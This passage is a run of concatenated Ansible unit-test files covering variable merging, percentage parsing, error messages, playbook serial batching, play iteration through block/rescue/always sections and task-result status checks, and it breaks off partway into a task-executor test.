        self.assertEqual(shlex_split('"a b" c'), ["a b", "c"])

    def test_comments(self):
        self.assertEqual(shlex_split('"a b" c # d', comments=True), ["a b", "c"])

    def test_error(self):
        self.assertRaises(ValueError, shlex_split, 'a "b')







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
# (c) 2015, Toshio Kuraotmi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from collections import defaultdict

from ansible.compat.tests import mock, unittest
from ansible.errors import AnsibleError

from ansible.utils.vars import combine_vars, merge_hash

class TestVariableUtils(unittest.TestCase):

    test_merge_data = (
            dict(
                a=dict(a=1),
                b=dict(b=2),
                result=dict(a=1, b=2)
            ),
            dict(
                a=dict(a=1, c=dict(foo='bar')),
                b=dict(b=2, c=dict(baz='bam')),
                result=dict(a=1, b=2, c=dict(foo='bar', baz='bam'))
            ),
            dict(
                a=defaultdict(a=1, c=defaultdict(foo='bar')),
                b=dict(b=2, c=dict(baz='bam')),
                result=defaultdict(a=1, b=2, c=defaultdict(foo='bar', baz='bam'))
            ),
        )
    test_replace_data = (
            dict(
                a=dict(a=1),
                b=dict(b=2),
                result=dict(a=1, b=2)
            ),
            dict(
                a=dict(a=1, c=dict(foo='bar')),
                b=dict(b=2, c=dict(baz='bam')),
                result=dict(a=1, b=2, c=dict(baz='bam'))
            ),
            dict(
                a=defaultdict(a=1, c=dict(foo='bar')),
                b=dict(b=2, c=defaultdict(baz='bam')),
                result=defaultdict(a=1, b=2, c=defaultdict(baz='bam'))
            ),
        )

    def setUp(self):
        pass

    def tearDown(self):
        pass

    def test_merge_hash(self):
        for test in self.test_merge_data:
            self.assertEqual(merge_hash(test['a'], test['b']), test['result'])

    def test_improper_args(self):
        with mock.patch('ansible.constants.DEFAULT_HASH_BEHAVIOUR', 'replace'):
            with self.assertRaises(AnsibleError):
                combine_vars([1, 2, 3], dict(a=1))
            with self.assertRaises(AnsibleError):
                combine_vars(dict(a=1), [1, 2, 3])

        with mock.patch('ansible.constants.DEFAULT_HASH_BEHAVIOUR', 'merge'):
            with self.assertRaises(AnsibleError):
                combine_vars([1, 2, 3], dict(a=1))
            with self.assertRaises(AnsibleError):
                combine_vars(dict(a=1), [1, 2, 3])

    def test_combine_vars_replace(self):
        with mock.patch('ansible.constants.DEFAULT_HASH_BEHAVIOUR', 'replace'):
            for test in self.test_replace_data:
                self.assertEqual(combine_vars(test['a'], test['b']), test['result'])

    def test_combine_vars_merge(self):
        with mock.patch('ansible.constants.DEFAULT_HASH_BEHAVIOUR', 'merge'):
            for test in self.test_merge_data:
                self.assertEqual(combine_vars(test['a'], test['b']), test['result'])












# (c) 2015, Marius Gedminas <marius@gedmin.as>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

import unittest

from ansible.utils.helpers import pct_to_int

class TestHelpers(unittest.TestCase):

    def test_pct_to_int(self):
        self.assertEqual(pct_to_int(1, 100), 1)
        self.assertEqual(pct_to_int(-1, 100), -1)
        self.assertEqual(pct_to_int("1%", 10), 1)
        self.assertEqual(pct_to_int("1%", 10, 0), 0)
        self.assertEqual(pct_to_int("1", 100), 1)
        self.assertEqual(pct_to_int("10%", 100), 10)







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.tests import unittest

from ansible.parsing.yaml.objects import AnsibleBaseYAMLObject
from ansible.errors import AnsibleError

from ansible.compat.tests import BUILTINS
from ansible.compat.tests.mock import mock_open, patch

class TestErrors(unittest.TestCase):

    def setUp(self):
        self.message = 'This is the error message'
        self.unicode_message = 'This is an error with \xf0\x9f\x98\xa8 in it'

        self.obj = AnsibleBaseYAMLObject()

    def tearDown(self):
        pass

    def test_basic_error(self):
        e = AnsibleError(self.message)
        self.assertEqual(e.message, self.message)
        self.assertEqual(e.__repr__(), self.message)

    def test_basic_unicode_error(self):
        e = AnsibleError(self.unicode_message)
        self.assertEqual(e.message, self.unicode_message)
        self.assertEqual(e.__repr__(), self.unicode_message)

    @patch.object(AnsibleError, '_get_error_lines_from_file')
    def test_error_with_object(self, mock_method):
        self.obj.ansible_pos = ('foo.yml', 1, 1)

        mock_method.return_value = ('this is line 1\n', '')
        e = AnsibleError(self.message, self.obj)

        self.assertEqual(e.message, "This is the error message\n\nThe error appears to have been in 'foo.yml': line 1, column 1, but may\nbe elsewhere in the file depending on the exact syntax problem.\n\nThe offending line appears to be:\n\n\nthis is line 1\n^ here\n")

    def test_get_error_lines_from_file(self):
        m = mock_open()
        m.return_value.readlines.return_value = ['this is line 1\n']

        with patch('{0}.open'.format(BUILTINS), m):
            # this line will be found in the file
            self.obj.ansible_pos = ('foo.yml', 1, 1)
            e = AnsibleError(self.message, self.obj)
            self.assertEqual(e.message, "This is the error message\n\nThe error appears to have been in 'foo.yml': line 1, column 1, but may\nbe elsewhere in the file depending on the exact syntax problem.\n\nThe offending line appears to be:\n\n\nthis is line 1\n^ here\n")

            # this line will not be found, as it is out of the index range
            self.obj.ansible_pos = ('foo.yml', 2, 1)
            e = AnsibleError(self.message, self.obj)
            self.assertEqual(e.message, "This is the error message\n\nThe error appears to have been in 'foo.yml': line 2, column 1, but may\nbe elsewhere in the file depending on the exact syntax problem.\n\n(specified line no longer in file, maybe it changed?)")

        m = mock_open()
        m.return_value.readlines.return_value = ['this line has unicode \xf0\x9f\x98\xa8 in it!\n']

        with patch('{0}.open'.format(BUILTINS), m):
            # this line will be found in the file
            self.obj.ansible_pos = ('foo.yml', 1, 1)
            e = AnsibleError(self.unicode_message, self.obj)
            self.assertEqual(e.message, "This is an error with \xf0\x9f\x98\xa8 in it\n\nThe error appears to have been in 'foo.yml': line 1, column 1, but may\nbe elsewhere in the file depending on the exact syntax problem.\n\nThe offending line appears to be:\n\n\nthis line has unicode \xf0\x9f\x98\xa8 in it!\n^ here\n")







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type








# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock

from ansible.errors import AnsibleError, AnsibleParserError
from ansible.executor.playbook_executor import PlaybookExecutor
from ansible.playbook import Playbook
from ansible.template import Templar

from units.mock.loader import DictDataLoader

class TestPlaybookExecutor(unittest.TestCase):

    def setUp(self):
        pass

    def tearDown(self):
        pass

    def test_playbook_executor__get_serialized_batches(self):
        fake_loader = DictDataLoader({
            'no_serial.yml': '''
            - hosts: all
              gather_facts: no
              tasks:
              - debug: var=inventory_hostname
            ''',
            'serial_int.yml': '''
            - hosts: all
              gather_facts: no
              serial: 2
              tasks:
              - debug: var=inventory_hostname
            ''',
            'serial_pct.yml': '''
            - hosts: all
              gather_facts: no
              serial: 20%
              tasks:
              - debug: var=inventory_hostname
            ''',
            'serial_list.yml': '''
            - hosts: all
              gather_facts: no
              serial: [1, 2, 3]
              tasks:
              - debug: var=inventory_hostname
            ''',
            'serial_list_mixed.yml': '''
            - hosts: all
              gather_facts: no
              serial: [1, "20%", -1]
              tasks:
              - debug: var=inventory_hostname
            ''',
        })

        mock_inventory = MagicMock()
        mock_var_manager = MagicMock()

        # fake out options to use the syntax CLI switch, which will ensure
        # the PlaybookExecutor doesn't create a TaskQueueManager
        mock_options = MagicMock()
        mock_options.syntax.value = True

        templar = Templar(loader=fake_loader)

        pbe = PlaybookExecutor(
            playbooks=['no_serial.yml', 'serial_int.yml', 'serial_pct.yml', 'serial_list.yml', 'serial_list_mixed.yml'],
            inventory=mock_inventory,
            variable_manager=mock_var_manager,
            loader=fake_loader,
            options=mock_options,
            passwords=[],
        )

        playbook = Playbook.load(pbe._playbooks[0], variable_manager=mock_var_manager, loader=fake_loader)
        play = playbook.get_plays()[0]
        play.post_validate(templar)
        mock_inventory.get_hosts.return_value = ['host0','host1','host2','host3','host4','host5','host6','host7','host8','host9']
        self.assertEqual(pbe._get_serialized_batches(play), [['host0','host1','host2','host3','host4','host5','host6','host7','host8','host9']])

        playbook = Playbook.load(pbe._playbooks[1], variable_manager=mock_var_manager, loader=fake_loader)
        play = playbook.get_plays()[0]
        play.post_validate(templar)
        mock_inventory.get_hosts.return_value = ['host0','host1','host2','host3','host4','host5','host6','host7','host8','host9']
        self.assertEqual(pbe._get_serialized_batches(play), [['host0','host1'],['host2','host3'],['host4','host5'],['host6','host7'],['host8','host9']])

        playbook = Playbook.load(pbe._playbooks[2], variable_manager=mock_var_manager, loader=fake_loader)
        play = playbook.get_plays()[0]
        play.post_validate(templar)
        mock_inventory.get_hosts.return_value = ['host0','host1','host2','host3','host4','host5','host6','host7','host8','host9']
        self.assertEqual(pbe._get_serialized_batches(play), [['host0','host1'],['host2','host3'],['host4','host5'],['host6','host7'],['host8','host9']])

        playbook = Playbook.load(pbe._playbooks[3], variable_manager=mock_var_manager, loader=fake_loader)
        play = playbook.get_plays()[0]
        play.post_validate(templar)
        mock_inventory.get_hosts.return_value = ['host0','host1','host2','host3','host4','host5','host6','host7','host8','host9']
        self.assertEqual(pbe._get_serialized_batches(play), [['host0'],['host1','host2'],['host3','host4','host5'],['host6','host7','host8'],['host9']])

        playbook = Playbook.load(pbe._playbooks[4], variable_manager=mock_var_manager, loader=fake_loader)
        play = playbook.get_plays()[0]
        play.post_validate(templar)
        mock_inventory.get_hosts.return_value = ['host0','host1','host2','host3','host4','host5','host6','host7','host8','host9']
        self.assertEqual(pbe._get_serialized_batches(play), [['host0'],['host1','host2'],['host3','host4','host5','host6','host7','host8','host9']])

        # Test when serial percent is under 1.0
        playbook = Playbook.load(pbe._playbooks[2], variable_manager=mock_var_manager, loader=fake_loader)
        play = playbook.get_plays()[0]
        play.post_validate(templar)
        mock_inventory.get_hosts.return_value = ['host0','host1','host2']
        self.assertEqual(pbe._get_serialized_batches(play), [['host0'],['host1'],['host2']])

        # Test when there is a remainder for serial as a percent
        playbook = Playbook.load(pbe._playbooks[2], variable_manager=mock_var_manager, loader=fake_loader)
        play = playbook.get_plays()[0]
        play.post_validate(templar)
        mock_inventory.get_hosts.return_value = ['host0','host1','host2','host3','host4','host5','host6','host7','host8','host9','host10']
        self.assertEqual(pbe._get_serialized_batches(play), [['host0','host1'],['host2','host3'],['host4','host5'],['host6','host7'],['host8','host9'],['host10']])






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock

from ansible.errors import AnsibleError, AnsibleParserError
from ansible.executor.play_iterator import HostState, PlayIterator
from ansible.playbook import Playbook
from ansible.playbook.task import Task
from ansible.playbook.play_context import PlayContext

from units.mock.loader import DictDataLoader
from units.mock.path import mock_unfrackpath_noop


class TestPlayIterator(unittest.TestCase):

    def setUp(self):
        pass

    def tearDown(self):
        pass

    def test_host_state(self):
        hs = HostState(blocks=[x for x in range(0, 10)])
        hs.tasks_child_state = HostState(blocks=[0])
        hs.rescue_child_state = HostState(blocks=[1])
        hs.always_child_state = HostState(blocks=[2])
        hs.__repr__()
        hs.run_state = 100
        hs.__repr__()
        hs.fail_state = 15
        hs.__repr__()

        for i in range(0, 10):
            hs.cur_block = i
            self.assertEqual(hs.get_current_block(), i)

        new_hs = hs.copy()


    @patch('ansible.playbook.role.definition.unfrackpath', mock_unfrackpath_noop)
    def test_play_iterator(self):
        #import epdb; epdb.st()
        fake_loader = DictDataLoader({
            "test_play.yml": """
            - hosts: all
              gather_facts: false
              roles:
              - test_role
              pre_tasks:
              - debug: msg="this is a pre_task"
              tasks:
              - debug: msg="this is a regular task"
              - block:
                - debug: msg="this is a block task"
                - block:
                  - debug: msg="this is a sub-block in a block"
                rescue:
                - debug: msg="this is a rescue task"
                - block:
                  - debug: msg="this is a sub-block in a rescue"
                always:
                - debug: msg="this is an always task"
                - block:
                  - debug: msg="this is a sub-block in an always"
              post_tasks:
              - debug: msg="this is a post_task"
            """,
            '/etc/ansible/roles/test_role/tasks/main.yml': """
            - debug: msg="this is a role task"
            """,
        })

        mock_var_manager = MagicMock()
        mock_var_manager._fact_cache = dict()
        mock_var_manager.get_vars.return_value = dict()

        p = Playbook.load('test_play.yml', loader=fake_loader, variable_manager=mock_var_manager)

        hosts = []
        for i in range(0, 10):
            host = MagicMock()
            host.name = host.get_name.return_value = 'host%02d' % i
            hosts.append(host)

        mock_var_manager._fact_cache['host00'] = dict()

        inventory = MagicMock()
        inventory.get_hosts.return_value = hosts
        inventory.filter_hosts.return_value = hosts

        play_context = PlayContext(play=p._entries[0])

        itr = PlayIterator(
            inventory=inventory,
            play=p._entries[0],
            play_context=play_context,
            variable_manager=mock_var_manager,
            all_vars=dict(),
        )

        # lookup up an original task
        target_task = p._entries[0].tasks[0].block[0]
        task_copy = target_task.copy(exclude_parent=True)
        found_task = itr.get_original_task(hosts[0], task_copy)
        self.assertEqual(target_task, found_task)

        bad_task = Task()
        found_task = itr.get_original_task(hosts[0], bad_task)
        self.assertIsNone(found_task)

        # pre task
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNotNone(task)
        self.assertEqual(task.action, 'debug')
        # implicit meta: flush_handlers
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNotNone(task)
        self.assertEqual(task.action, 'meta')
        # role task
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNotNone(task)
        self.assertEqual(task.action, 'debug')
        self.assertIsNotNone(task._role)
        # regular play task
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNotNone(task)
        self.assertEqual(task.action, 'debug')
        self.assertIsNone(task._role)
        # block task
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNotNone(task)
        self.assertEqual(task.action, 'debug')
        self.assertEqual(task.args, dict(msg="this is a block task"))
        # sub-block task
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNotNone(task)
        self.assertEqual(task.action, 'debug')
        self.assertEqual(task.args, dict(msg="this is a sub-block in a block"))
        # mark the host failed
        itr.mark_host_failed(hosts[0])
        # block rescue task
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNotNone(task)
        self.assertEqual(task.action, 'debug')
        self.assertEqual(task.args, dict(msg="this is a rescue task"))
        # sub-block rescue task
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNotNone(task)
        self.assertEqual(task.action, 'debug')
        self.assertEqual(task.args, dict(msg="this is a sub-block in a rescue"))
        # block always task
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNotNone(task)
        self.assertEqual(task.action, 'debug')
        self.assertEqual(task.args, dict(msg="this is an always task"))
        # sub-block always task
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNotNone(task)
        self.assertEqual(task.action, 'debug')
        self.assertEqual(task.args, dict(msg="this is a sub-block in an always"))
        # implicit meta: flush_handlers
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNotNone(task)
        self.assertEqual(task.action, 'meta')
        # post task
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNotNone(task)
        self.assertEqual(task.action, 'debug')
        # implicit meta: flush_handlers
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNotNone(task)
        self.assertEqual(task.action, 'meta')
        # end of iteration
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNone(task)

        # host 0 shouldn't be in the failed hosts, as the error
        # was handled by a rescue block
        failed_hosts = itr.get_failed_hosts()
        self.assertNotIn(hosts[0], failed_hosts)

    def test_play_iterator_nested_blocks(self):
        fake_loader = DictDataLoader({
            "test_play.yml": """
            - hosts: all
              gather_facts: false
              tasks:
              - block:
                - block:
                  - block:
                    - block:
                      - block:
                        - debug: msg="this is the first task"
                        - ping:
                      rescue:
                      - block:
                        - block:
                          - block:
                            - block:
                              - debug: msg="this is the rescue task"
                  always:
                  - block:
                    - block:
                      - block:
                        - block:
                          - debug: msg="this is the always task"
            """,
        })

        mock_var_manager = MagicMock()
        mock_var_manager._fact_cache = dict()
        mock_var_manager.get_vars.return_value = dict()

        p = Playbook.load('test_play.yml', loader=fake_loader, variable_manager=mock_var_manager)

        hosts = []
        for i in range(0, 10):
            host = MagicMock()
            host.name = host.get_name.return_value = 'host%02d' % i
            hosts.append(host)

        inventory = MagicMock()
        inventory.get_hosts.return_value = hosts
        inventory.filter_hosts.return_value = hosts

        play_context = PlayContext(play=p._entries[0])

        itr = PlayIterator(
            inventory=inventory,
            play=p._entries[0],
            play_context=play_context,
            variable_manager=mock_var_manager,
            all_vars=dict(),
        )

        # implicit meta: flush_handlers
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNotNone(task)
        self.assertEqual(task.action, 'meta')
        self.assertEqual(task.args, dict(_raw_params='flush_handlers'))
        # get the first task
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNotNone(task)
        self.assertEqual(task.action, 'debug')
        self.assertEqual(task.args, dict(msg='this is the first task'))
        # fail the host
        itr.mark_host_failed(hosts[0])
        # get the resuce task
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNotNone(task)
        self.assertEqual(task.action, 'debug')
        self.assertEqual(task.args, dict(msg='this is the rescue task'))
        # get the always task
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNotNone(task)
        self.assertEqual(task.action, 'debug')
        self.assertEqual(task.args, dict(msg='this is the always task'))
        # implicit meta: flush_handlers
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNotNone(task)
        self.assertEqual(task.action, 'meta')
        self.assertEqual(task.args, dict(_raw_params='flush_handlers'))
        # implicit meta: flush_handlers
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNotNone(task)
        self.assertEqual(task.action, 'meta')
        self.assertEqual(task.args, dict(_raw_params='flush_handlers'))
        # end of iteration
        (host_state, task) = itr.get_next_task_for_host(hosts[0])
        self.assertIsNone(task)

    def test_play_iterator_add_tasks(self):
        fake_loader = DictDataLoader({
            'test_play.yml': """
            - hosts: all
              gather_facts: no
              tasks:
              - debug: msg="dummy task"
            """,
        })

        mock_var_manager = MagicMock()
        mock_var_manager._fact_cache = dict()
        mock_var_manager.get_vars.return_value = dict()

        p = Playbook.load('test_play.yml', loader=fake_loader, variable_manager=mock_var_manager)

        hosts = []
        for i in range(0, 10):
            host = MagicMock()
            host.name = host.get_name.return_value = 'host%02d' % i
            hosts.append(host)

        inventory = MagicMock()
        inventory.get_hosts.return_value = hosts
        inventory.filter_hosts.return_value = hosts

        play_context = PlayContext(play=p._entries[0])

        itr = PlayIterator(
            inventory=inventory,
            play=p._entries[0],
            play_context=play_context,
            variable_manager=mock_var_manager,
            all_vars=dict(),
        )

        # test the high-level add_tasks() method
        s = HostState(blocks=[0,1,2])
        itr._insert_tasks_into_state = MagicMock(return_value=s)
        itr.add_tasks(hosts[0], [MagicMock(), MagicMock(), MagicMock()])
        self.assertEqual(itr._host_states[hosts[0].name], s)

        # now actually test the lower-level method that does the work
        itr = PlayIterator(
            inventory=inventory,
            play=p._entries[0],
            play_context=play_context,
            variable_manager=mock_var_manager,
            all_vars=dict(),
        )

        # iterate past first task
        _, task = itr.get_next_task_for_host(hosts[0])
        while(task and task.action != 'debug'):
            _, task = itr.get_next_task_for_host(hosts[0])

        if task is None:
            raise Exception("iterated past end of play while looking for place to insert tasks")

        # get the current host state and copy it so we can mutate it
        s = itr.get_host_state(hosts[0])
        s_copy = s.copy()

        # assert with an empty task list, or if we're in a failed state, we simply return the state as-is
        res_state = itr._insert_tasks_into_state(s_copy, task_list=[])
        self.assertEqual(res_state, s_copy)

        s_copy.fail_state = itr.FAILED_TASKS
        res_state = itr._insert_tasks_into_state(s_copy, task_list=[MagicMock()])
        self.assertEqual(res_state, s_copy)

        # but if we've failed with a rescue/always block
        mock_task = MagicMock()
        s_copy.run_state = itr.ITERATING_RESCUE
        res_state = itr._insert_tasks_into_state(s_copy, task_list=[mock_task])
        self.assertEqual(res_state, s_copy)
        self.assertIn(mock_task, res_state._blocks[res_state.cur_block].rescue)
        itr._host_states[hosts[0].name] = res_state
        (next_state, next_task) = itr.get_next_task_for_host(hosts[0], peek=True)
        self.assertEqual(next_task, mock_task)
        itr._host_states[hosts[0].name] = s

        # test a regular insertion
        s_copy = s.copy()
        res_state = itr._insert_tasks_into_state(s_copy, task_list=[MagicMock()])






# (c) 2016, James Cammarata <jimi@sngx.net>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock

from ansible.executor.task_result import TaskResult

class TestTaskResult(unittest.TestCase):
    def test_task_result_basic(self):
        mock_host = MagicMock()
        mock_task = MagicMock()

        # test loading a result with a dict
        tr = TaskResult(mock_host, mock_task, dict())

        # test loading a result with a JSON string
        with patch('ansible.parsing.dataloader.DataLoader.load') as p:
            tr = TaskResult(mock_host, mock_task, '{}')

    def test_task_result_is_changed(self):
        mock_host = MagicMock()
        mock_task = MagicMock()

        # test with no changed in result
        tr = TaskResult(mock_host, mock_task, dict())
        self.assertFalse(tr.is_changed())

        # test with changed in the result
        tr = TaskResult(mock_host, mock_task, dict(changed=True))
        self.assertTrue(tr.is_changed())

        # test with multiple results but none changed
        mock_task.loop = 'foo'
        tr = TaskResult(mock_host, mock_task, dict(results=[dict(foo='bar'), dict(bam='baz'), True]))
        self.assertFalse(tr.is_changed())

        # test with multiple results and one changed
        mock_task.loop = 'foo'
        tr = TaskResult(mock_host, mock_task, dict(results=[dict(changed=False), dict(changed=True), dict(some_key=False)]))
        self.assertTrue(tr.is_changed())

    def test_task_result_is_skipped(self):
        mock_host = MagicMock()
        mock_task = MagicMock()

        # test with no skipped in result
        tr = TaskResult(mock_host, mock_task, dict())
        self.assertFalse(tr.is_skipped())

        # test with skipped in the result
        tr = TaskResult(mock_host, mock_task, dict(skipped=True))
        self.assertTrue(tr.is_skipped())

        # test with multiple results but none skipped
        mock_task.loop = 'foo'
        tr = TaskResult(mock_host, mock_task, dict(results=[dict(foo='bar'), dict(bam='baz'), True]))
        self.assertFalse(tr.is_skipped())

        # test with multiple results and one skipped
        mock_task.loop = 'foo'
        tr = TaskResult(mock_host, mock_task, dict(results=[dict(skipped=False), dict(skipped=True), dict(some_key=False)]))
        self.assertFalse(tr.is_skipped())

        # test with multiple results and all skipped
        mock_task.loop = 'foo'
        tr = TaskResult(mock_host, mock_task, dict(results=[dict(skipped=True), dict(skipped=True), dict(skipped=True)]))
        self.assertTrue(tr.is_skipped())

        # test with multiple squashed results (list of strings)
        # first with the main result having skipped=False
        mock_task.loop = 'foo'
        tr = TaskResult(mock_host, mock_task, dict(results=["a", "b", "c"], skipped=False))
        self.assertFalse(tr.is_skipped())
        # then with the main result having skipped=True
        tr = TaskResult(mock_host, mock_task, dict(results=["a", "b", "c"], skipped=True))
        self.assertTrue(tr.is_skipped())

    def test_task_result_is_unreachable(self):
        mock_host = MagicMock()
        mock_task = MagicMock()

        # test with no unreachable in result
        tr = TaskResult(mock_host, mock_task, dict())
        self.assertFalse(tr.is_unreachable())

        # test with unreachable in the result
        tr = TaskResult(mock_host, mock_task, dict(unreachable=True))
        self.assertTrue(tr.is_unreachable())

        # test with multiple results but none unreachable
        mock_task.loop = 'foo'
        tr = TaskResult(mock_host, mock_task, dict(results=[dict(foo='bar'), dict(bam='baz'), True]))
        self.assertFalse(tr.is_unreachable())

        # test with multiple results and one unreachable
        mock_task.loop = 'foo'
        tr = TaskResult(mock_host, mock_task, dict(results=[dict(unreachable=False), dict(unreachable=True), dict(some_key=False)]))
        self.assertTrue(tr.is_unreachable())

    def test_task_result_is_failed(self):
        mock_host = MagicMock()
        mock_task = MagicMock()

        # test with no failed in result
        tr = TaskResult(mock_host, mock_task, dict())
        self.assertFalse(tr.is_failed())

        # test failed result with rc values
        tr = TaskResult(mock_host, mock_task, dict(rc=0))
        self.assertFalse(tr.is_failed())
        tr = TaskResult(mock_host, mock_task, dict(rc=1))
        self.assertTrue(tr.is_failed())

        # test with failed in result
        tr = TaskResult(mock_host, mock_task, dict(failed=True))
        self.assertTrue(tr.is_failed())

        # test with failed_when in result
        tr = TaskResult(mock_host, mock_task, dict(failed_when_result=True))
        self.assertTrue(tr.is_failed())






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock

from ansible.errors import AnsibleError, AnsibleParserError
from ansible.executor.task_executor import TaskExecutor
from ansible.playbook.play_context import PlayContext
from ansible.plugins import action_loader, lookup_loader
from ansible.parsing.yaml.objects import AnsibleUnicode

from units.mock.loader import DictDataLoader

class TestTaskExecutor(unittest.TestCase):

    def setUp(self):
        pass

    def tearDown(self):
        pass

    def test_task_executor_init(self):
        fake_loader = DictDataLoader({})
        mock_host = MagicMock()
        mock_task = MagicMock()
